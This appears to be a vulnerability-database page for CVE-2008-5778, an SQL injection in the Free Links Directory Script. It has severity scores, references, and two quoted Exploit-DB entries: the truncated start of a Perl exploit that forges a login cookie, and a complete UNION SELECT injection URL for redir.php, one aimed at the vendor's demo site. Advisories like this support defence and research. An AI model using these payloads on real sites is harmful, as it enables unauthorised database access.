CVE-2008-5778
published 2008-12-30CVE-2008-5778: SQL injection vulnerability in report.php in Free Links Directory Script (FLDS) 1.2a allows remote attackers to execute arbitrary SQL commands via the linkid…
PriorityP342high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
1.19%
63.9th percentile
SQL injection vulnerability in report.php in Free Links Directory Script (FLDS) 1.2a allows remote attackers to execute arbitrary SQL commands via the linkid parameter.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| flds_script | flds | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
FLDS 1.2a - 'report.php' SQL Injection
exploitdb·2008-12-16
CVE-2008-5778 FLDS 1.2a - 'report.php' SQL Injection
FLDS 1.2a - 'report.php' SQL Injection
---
#!/usr/bin/perl -w
#
# Free Links Directory Script V1.2a Remote SQL Injection Exploit
# written by ka0x
# D.O.M Labs Security Researchers
# - www.domlabs.org -
#
# Vuln code (report.php):
#
# if($_COOKIE['logged']=="") {
# [...] // login
# else {
# $linkida = $_GET['linkid'];
# $linkinfo = mysql_fetch_array(mysql_query("select * from links where id=$linkida"))
# [...]
#
use strict;
use LWP::UserAgent;
my $host = $ARGV[0];
die "[*] usage: perl $0 \n" unless $ARGV[0];
if ($host !~ /^http:/){ $host = 'http://'.$host; }
my $ua = LWP::UserAgent->new() or die ;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1") ;
$ua->timeout(10) ;
$ua->default_header('Cookie' => "logged=d0ml4bs"); # value $_COOKIE['l
Exploit-DB
FLDS 1.2a - 'redir.php' SQL Injection
exploitdb·2008-12-14
CVE-2008-5928 FLDS 1.2a - 'redir.php' SQL Injection
FLDS 1.2a - 'redir.php' SQL Injection
---
#Free Links Directory Script (id) SQL Injection Vulnerability
#Author: nuclear
#site:
http://flds-script.com
#vuln:
http://localhost/[path]/redir.php?id=-1%20UNION%20SELECT%201,2,@@version,4,5,6,7,8,9,10,11/*
#vulnerable code:
$ida = $_GET['id'];
$link = mysql_fetch_array(mysql_query("select * from links where id=$ida"));
$idcheck = mysql_numrows(mysql_query("select * from links where id=$ida"));
#demo:
http://flds-script.com/demo/redir.php?id=-1 UNION SELECT 1,2,@@version,4,5,6,7,8,9,10,11
#notes:
the injection does not work if trying to comment out the rest of the query.The result page will be a 404 but
you can get the data of the injection in the url
#greetz Mi4night, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys3
No writeups or analysis indexed.
http://osvdb.org/50724http://secunia.com/advisories/33075http://securityreason.com/securityalert/4852http://www.securityfocus.com/bid/32859https://exchange.xforce.ibmcloud.com/vulnerabilities/47377https://www.exploit-db.com/exploits/7489http://osvdb.org/50724http://secunia.com/advisories/33075http://securityreason.com/securityalert/4852http://www.securityfocus.com/bid/32859https://exchange.xforce.ibmcloud.com/vulnerabilities/47377https://www.exploit-db.com/exploits/7489
2008-12-30
Published